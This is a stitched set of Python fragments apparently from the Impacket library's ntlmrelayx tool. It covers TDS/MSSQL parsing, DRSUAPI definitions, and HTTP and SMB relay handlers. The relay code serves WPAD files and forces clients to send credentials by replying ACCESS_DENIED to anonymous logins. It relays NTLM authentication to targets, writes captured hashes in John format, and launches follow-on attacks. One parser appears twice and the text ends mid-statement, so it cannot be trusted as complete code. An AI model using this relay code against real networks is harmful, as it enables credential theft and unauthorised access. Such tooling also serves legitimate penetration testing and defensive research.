import string from struct import unpack from impacket import LOG from impacket.examples.ntlmrelayx.clients import ProtocolClient from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \ TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN from impacket.ntlm import NTLMAuthChallenge from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED from impacket.spnego import SPNEGO_NegTokenResp try: import OpenSSL from OpenSSL import SSL, crypto except Exception: LOG.critical("pyOpenSSL is not installed, can't continue") PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient" class MYMSSQL(MSSQL): def __init__(self, address, port=1433, rowsPrinter=DummyPrint()): MSSQL.__init__(self,address, port, rowsPrinter) self.resp = None self.sessionData = {} def initConnection(self): self.connect() #This is copied from tds.py resp = self.preLogin() if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: LOG.debug("Encryption required, switching to TLS")
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRUNION, NDR, NDRENUM from impacket.dcerpc.v5.dtypes import PUUID, DWORD, NULL, GUID, LPWSTR, BOOL, ULONG, UUID, LONGLONG, ULARGE_INTEGER, LARGE_INTEGER from impacket import hresult_errors, system_errors from impacket.structure import Structure from impacket.uuid import uuidtup_to_bin, string_to_bin from impacket.dcerpc.v5.enum import Enum from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.krb5 import crypto from pyasn1.type import univ from pyasn1.codec.ber import decoder from impacket.crypto import transformKey try: from Cryptodome.Cipher import ARC4, DES except Exception: LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") LOG.critical("See https://pypi.org/project/pycryptodomex/") MSRPC_UUID_DRSUAPI = uuidtup_to_bin(('E3514235-4B06-11D1-AB04-00C04FC2DCD2','4.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in hresult_errors.ERROR_MESSAGES: error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] return 'DRSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) elif key & 0xffff in system_errors.ERROR_MESSAGES:
def parseColMetaData(self, token): # TODO Add support for more data types! count = token['Count'] if count == 0xFFFF: return 0 self.colMeta = [] origDataLen = len(token['Data']) data = token['Data'] for i in range(count): column = {} userType = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] flags = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] colType = struct.unpack('<B', data[:struct.calcsize('<B')])[0] data = data[struct.calcsize('<B'):] if (colType == TDS_BITTYPE) |\ (colType == TDS_INT1TYPE) |\ (colType == TDS_INT2TYPE) |\ (colType == TDS_INT8TYPE) |\ (colType == TDS_DATETIMETYPE) |\ (colType == TDS_DATETIM4TYPE) |\ (colType == TDS_FLT4TYPE) |\ (colType == TDS_FLT8TYPE) |\ (colType == TDS_MONEYTYPE) |\ (colType == TDS_MONEY4TYPE) |\ (colType == TDS_DATENTYPE) |\ (colType == TDS_INT4TYPE): typeData = '' elif (colType == TDS_INTNTYPE) |\ (colType == TDS_TIMENTYPE) |\ (colType == TDS_DATETIME2NTYPE) |\ (colType == TDS_DATETIMEOFFSETNTYPE) |\ (colType == TDS_FLTNTYPE) |\ (colType == TDS_MONEYNTYPE) |\ (colType == TDS_GUIDTYPE) |\ (colType == TDS_BITNTYPE): typeData = ord(data[0]) data = data[1:] elif (colType == TDS_DATETIMNTYPE): # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and # datetime SQL data types respectively. typeData = ord(data[0]) data = data[1:] elif (colType == TDS_BIGVARBINTYPE) |\ (colType == TDS_BIGBINARYTYPE) |\ (colType == TDS_NCHARTYPE) |\ (colType == TDS_NVARCHARTYPE) |\ (colType == TDS_BIGVARCHRTYPE) |\ (colType == TDS_BIGCHARTYPE): typeData = struct.unpack('<H', data[:2])[0] data = data[2:] elif (colType == TDS_DECIMALNTYPE) |\ (colType == TDS_NUMERICNTYPE) |\ (colType == TDS_DECIMALTYPE): typeData = data[:3] data = data[3:] elif (colType == TDS_IMAGETYPE) |\ (colType == TDS_TEXTTYPE) |\ (colType == TDS_XMLTYPE) |\ (colType == TDS_SSVARIANTTYPE) |\ (colType == TDS_NTEXTTYPE): typeData = struct.unpack('<L', data[:4])[0] data = data[4:] else: LOG.critical("Unsupported data type: 0x%x" % colType) raise # Collation exceptions: if (colType == TDS_NTEXTTYPE) |\ (colType == TDS_BIGCHARTYPE) |\ (colType == TDS_BIGVARCHRTYPE) |\ (colType == TDS_NCHARTYPE) |\ (colType == TDS_NVARCHARTYPE) |\ (colType == TDS_TEXTTYPE): # Skip collation data = data[5:] # PartTableName exceptions: if (colType == TDS_IMAGETYPE) |\ (colType == TDS_TEXTTYPE) |\ (colType == TDS_NTEXTTYPE): # This types have Table Elements, we just discard them for now. # ToDo parse this correctly! # Get the Length dataLen = struct.unpack('<H', data[:2])[0] data = data[2:] # skip the text data = data[dataLen * 2:] colNameLength = struct.unpack('<B', data[:struct.calcsize('<B')])[0] data = data[struct.calcsize('<B'):] colName = data[:colNameLength * 2].decode('utf-16le') data = data[colNameLength * 2:] column['Name'] = colName column['Type'] = colType column['TypeData'] = typeData column['Flags'] = flags self.colMeta.append(column) return (origDataLen - len(data))
def parseColMetaData(self, token): # TODO Add support for more data types! count = token['Count'] if count == 0xFFFF: return 0 self.colMeta = [] origDataLen = len(token['Data']) data = token['Data'] for i in range(count): column = {} userType = struct.unpack('<H',data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] flags = struct.unpack('<H',data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] colType = struct.unpack('<B',data[:struct.calcsize('<B')])[0] data = data[struct.calcsize('<B'):] if (colType == TDS_BITTYPE) |\ (colType == TDS_INT1TYPE) |\ (colType == TDS_INT2TYPE) |\ (colType == TDS_INT8TYPE) |\ (colType == TDS_DATETIMETYPE) |\ (colType == TDS_DATETIM4TYPE) |\ (colType == TDS_FLT4TYPE) |\ (colType == TDS_FLT8TYPE) |\ (colType == TDS_MONEYTYPE) |\ (colType == TDS_MONEY4TYPE) |\ (colType == TDS_DATENTYPE) |\ (colType == TDS_INT4TYPE): typeData = '' elif (colType == TDS_INTNTYPE) |\ (colType == TDS_TIMENTYPE) |\ (colType == TDS_DATETIME2NTYPE) |\ (colType == TDS_DATETIMEOFFSETNTYPE) |\ (colType == TDS_FLTNTYPE) |\ (colType == TDS_MONEYNTYPE) |\ (colType == TDS_GUIDTYPE) |\ (colType == TDS_BITNTYPE): typeData = ord(data[0]) data = data[1:] elif colType == TDS_DATETIMNTYPE: # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and # datetime SQL data types respectively. typeData = ord(data[0]) data = data[1:] elif (colType == TDS_BIGVARBINTYPE) |\ (colType == TDS_BIGBINARYTYPE) |\ (colType == TDS_NCHARTYPE) |\ (colType == TDS_NVARCHARTYPE) |\ (colType == TDS_BIGVARCHRTYPE) |\ (colType == TDS_BIGCHARTYPE): typeData = struct.unpack('<H',data[:2])[0] data = data[2:] elif (colType == TDS_DECIMALNTYPE) |\ (colType == TDS_NUMERICNTYPE) |\ (colType == TDS_DECIMALTYPE): typeData = data[:3] data = data[3:] elif (colType == TDS_IMAGETYPE) |\ (colType == TDS_TEXTTYPE) |\ (colType == TDS_XMLTYPE) |\ (colType == TDS_SSVARIANTTYPE) |\ (colType == TDS_NTEXTTYPE): typeData = struct.unpack('<L',data[:4])[0] data = data[4:] else: LOG.critical("Unsupported data type: 0x%x" % colType) raise # Collation exceptions: if (colType == TDS_NTEXTTYPE) |\ (colType == TDS_BIGCHARTYPE) |\ (colType == TDS_BIGVARCHRTYPE) |\ (colType == TDS_NCHARTYPE) |\ (colType == TDS_NVARCHARTYPE) |\ (colType == TDS_TEXTTYPE): # Skip collation data = data[5:] # PartTableName exceptions: if (colType == TDS_IMAGETYPE) |\ (colType == TDS_TEXTTYPE) |\ (colType == TDS_NTEXTTYPE): # This types have Table Elements, we just discard them for now. # ToDo parse this correctly! # Get the Length dataLen = struct.unpack('<H',data[:2])[0] data = data[2:] # skip the text data = data[dataLen*2:] colNameLength = struct.unpack('<B',data[:struct.calcsize('<B')])[0] data = data[struct.calcsize('<B'):] colName = data[:colNameLength*2].decode('utf-16le') data = data[colNameLength*2:] column['Name'] = colName column['Type'] = colType column['TypeData'] = typeData column['Flags'] = flags self.colMeta.append(column) return origDataLen - len(data)
def do_GET(self): messageType = 0 if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() return LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) # Serve WPAD if: # - The client requests it # - A WPAD host was provided in the command line options # - The client has not exceeded the wpad_auth_num threshold yet if self.path.lower( ) == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad( self.client_address[0]): LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) self.serve_wpad() return # Determine if the user is connecting to our server directly or attempts to use it as a proxy if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): proxy = True else: proxy = False if (proxy and self.headers.getheader('Proxy-Authorization') is None ) or (not proxy and self.headers.getheader('Authorization') is None): self.do_AUTHHEAD(message='NTLM', proxy=proxy) pass else: if proxy: typeX = self.headers.getheader('Proxy-Authorization') else: typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD(message='NTLM', proxy=proxy) else: messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 1: if not self.do_ntlm_negotiate(token, proxy=proxy): #Connection failed LOG.error( 'Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) self.server.config.target.logTarget(self.target) self.do_REDIRECT() elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) #print(authenticateMessage['Version'],authenticateMessage['user_name']) if not self.do_ntlm_auth(token, authenticateMessage): if authenticateMessage[ 'flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.error( "Authenticating against %s://%s as %s\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode( 'utf-16le'), authenticateMessage['user_name']. decode('utf-16le'))) else: LOG.error( "Authenticating against %s://%s as %s\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode( 'ascii'), authenticateMessage['user_name'].decode('ascii'))) # Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want if authenticateMessage[ 'user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': self.server.config.target.logTarget(self.target) # No anonymous login, go to next host and avoid triggering a popup self.do_REDIRECT() else: #If it was an anonymous login, send 401 self.do_AUTHHEAD('NTLM', proxy=proxy) else: # Relay worked, do whatever we want here... if authenticateMessage[ 'flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.critical( "Authenticating against %s://%s as %s\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode( 'utf-16le'), authenticateMessage['user_name']. decode('utf-16le'))) else: LOG.critical( "Authenticating against %s://%s as %s\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode( 'ascii'), authenticateMessage['user_name'].decode('ascii'))) ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.config.outputFile is not None: writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) self.server.config.target.logTarget(self.target) self.do_attack() # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length', '0') self.send_header('Connection', 'close') self.end_headers() return
def parseRow(self,token,tuplemode=False): # TODO: This REALLY needs to be improved. Right now we don't support correctly all the data types # help would be appreciated ;) if len(token) == 1: return 0 row = [] if tuplemode else {} origDataLen = len(token['Data']) data = token['Data'] for col in self.colMeta: _type = col['Type'] if (_type == TDS_NVARCHARTYPE) |\ (_type == TDS_NCHARTYPE): #print "NVAR 0x%x" % _type charLen = struct.unpack('<H',data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = data[:charLen].decode('utf-16le') data = data[charLen:] else: value = 'NULL' elif _type == TDS_BIGVARCHRTYPE: charLen = struct.unpack('<H',data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = data[:charLen] data = data[charLen:] else: value = 'NULL' elif _type == TDS_GUIDTYPE: uuidLen = ord(data[0]) data = data[1:] if uuidLen > 0: uu = data[:uuidLen] value = uuid.bin_to_string(uu) data = data[uuidLen:] else: value = 'NULL' elif (_type == TDS_NTEXTTYPE) |\ (_type == TDS_IMAGETYPE) : # Skip the pointer data charLen = ord(data[0]) if charLen == 0: value = 'NULL' data = data[1:] else: data = data[1+charLen+8:] charLen = struct.unpack('<L',data[:struct.calcsize('<L')])[0] data = data[struct.calcsize('<L'):] if charLen != 0xFFFF: if _type == TDS_NTEXTTYPE: value = data[:charLen].decode('utf-16le') else: value = binascii.b2a_hex(data[:charLen]) data = data[charLen:] else: value = 'NULL' elif _type == TDS_TEXTTYPE: # Skip the pointer data charLen = ord(data[0]) if charLen == 0: value = 'NULL' data = data[1:] else: data = data[1+charLen+8:] charLen = struct.unpack('<L',data[:struct.calcsize('<L')])[0] data = data[struct.calcsize('<L'):] if charLen != 0xFFFF: value = data[:charLen] data = data[charLen:] else: value = 'NULL' elif (_type == TDS_BIGVARBINTYPE) |\ (_type == TDS_BIGBINARYTYPE): charLen = struct.unpack('<H',data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = binascii.b2a_hex(data[:charLen]) data = data[charLen:] else: value = 'NULL' elif (_type == TDS_DATETIM4TYPE) |\ (_type == TDS_DATETIMNTYPE) |\ (_type == TDS_DATETIMETYPE): value = '' if _type == TDS_DATETIMNTYPE: # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and # datetime SQL data _types respectively. if ord(data[0]) == 4: _type = TDS_DATETIM4TYPE elif ord(data[0]) == 8: _type = TDS_DATETIMETYPE else: value = 'NULL' data = data[1:] if _type == TDS_DATETIMETYPE: # datetime is represented in the following sequence: # * One 4-byte signed integer that represents the number of days since January 1, 1900. Negative # numbers are allowed to represents dates since January 1, 1753. # * One 4-byte unsigned integer that represents the number of one three-hundredths of a second # (300 counts per second) elapsed since 12 AM that day. dateValue = struct.unpack('<l',data[:4])[0] data = data[4:] if dateValue < 0: baseDate = datetime.date(1753,1,1) else: baseDate = datetime.date(1900,1,1) timeValue = struct.unpack('<L',data[:4])[0] data = data[4:] elif _type == TDS_DATETIM4TYPE: # Small datetime # 2.2.5.5.1.8 # Date/Times # smalldatetime is represented in the following sequence: # * One 2-byte unsigned integer that represents the number of days since January 1, 1900. # * One 2-byte unsigned integer that represents the number of minutes elapsed since 12 AM that # day. dateValue = struct.unpack('<H',data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] timeValue = struct.unpack('<H',data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] baseDate = datetime.date(1900,1,1) if value != 'NULL': dateValue = datetime.date.fromordinal(baseDate.toordinal() + dateValue) hours, mod = divmod(timeValue/300, 60*60) minutes, second = divmod(mod, 60) value = datetime.datetime(dateValue.year, dateValue.month, dateValue.day, hours, minutes, second) elif (_type == TDS_INT4TYPE) |\ (_type == TDS_MONEY4TYPE) |\ (_type == TDS_FLT4TYPE): #print "INT4" value = struct.unpack('<l',data[:struct.calcsize('<l')])[0] data = data[struct.calcsize('<l'):] elif _type == TDS_FLTNTYPE: valueSize = ord(data[:1]) if valueSize == 4: fmt = '<f' elif valueSize == 8: fmt = '<d' data = data[1:] if valueSize > 0: value = struct.unpack(fmt,data[:valueSize])[0] data = data[valueSize:] else: value = 'NULL' elif _type == TDS_MONEYNTYPE: valueSize = ord(data[:1]) if valueSize == 4: fmt = '<l' elif valueSize == 8: fmt = '<q' data = data[1:] if valueSize > 0: value = struct.unpack(fmt,data[:valueSize])[0] if valueSize == 4: value = float(value) / math.pow(10,4) else: value = float(value >> 32) / math.pow(10,4) data = data[valueSize:] else: value = 'NULL' elif _type == TDS_BIGCHARTYPE: #print "BIGC" charLen = struct.unpack('<H',data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] value = data[:charLen] data = data[charLen:] elif (_type == TDS_INT8TYPE) |\ (_type == TDS_FLT8TYPE) |\ (_type == TDS_MONEYTYPE): #print "DATETIME" value = struct.unpack('<q',data[:struct.calcsize('<q')])[0] data = data[struct.calcsize('<q'):] elif _type == TDS_INT2TYPE: #print "INT2TYPE" value = struct.unpack('<H',(data[:2]))[0] data = data[2:] elif _type == TDS_DATENTYPE: # date is represented as one 3-byte unsigned integer that represents the number of days since # January 1, year 1. valueSize = ord(data[:1]) data = data[1:] if valueSize > 0: dateBytes = data[:valueSize] dateValue = struct.unpack('<L','\x00'+dateBytes)[0] value = datetime.date.fromtimestamp(dateValue) data = data[valueSize:] else: value = 'NULL' elif (_type == TDS_BITTYPE) |\ (_type == TDS_INT1TYPE): #print "BITTYPE" value = ord(data[:1]) data = data[1:] elif (_type == TDS_NUMERICNTYPE) |\ (_type == TDS_DECIMALNTYPE): valueLen = ord(data[:1]) data = data[1:] value = data[:valueLen] data = data[valueLen:] precision = ord(col['TypeData'][1]) scale = ord(col['TypeData'][2]) if valueLen > 0: isPositiveSign = ord(value[0]) if (valueLen-1) == 2: fmt = '<H' elif (valueLen-1) == 4: fmt = '<L' elif (valueLen-1) == 8: fmt = '<Q' else: # Still don't know how to handle higher values value = "TODO: Interpret TDS_NUMERICNTYPE correctly" number = struct.unpack(fmt, value[1:])[0] number /= math.pow(precision, scale) if isPositiveSign == 0: number *= -1 value = number else: value = 'NULL' elif _type == TDS_BITNTYPE: #print "BITNTYPE" valueSize = ord(data[:1]) data = data[1:] if valueSize > 0: if valueSize == 1: value = ord(data[:valueSize]) else: value = data[:valueSize] else: value = 'NULL' data = data[valueSize:] elif _type == TDS_INTNTYPE: valueSize = ord(data[:1]) if valueSize == 1: fmt = '<B' elif valueSize == 2: fmt = '<h' elif valueSize == 4: fmt = '<l' elif valueSize == 8: fmt = '<q' else: fmt = '' data = data[1:] if valueSize > 0: value = struct.unpack(fmt,data[:valueSize])[0] data = data[valueSize:] else: value = 'NULL' elif _type == TDS_SSVARIANTTYPE: LOG.critical("ParseRow: SQL Variant type not yet supported :(") raise else: LOG.critical("ParseROW: Unsupported data type: 0%x" % _type) raise if tuplemode: row.append(value) else: row[col['Name']] = value self.rows.append(row) return origDataLen - len(data)
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception: # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) #Log this target as processed for this client self.targetprocessor.logTarget(self.target) client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.critical( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) client = connData['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = b'\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff #Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Finish client's connection #client.killConnection() return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want LOG.critical( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])) self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) self.do_attack(client) # Now continue with the server ############################################################# respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand ], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = 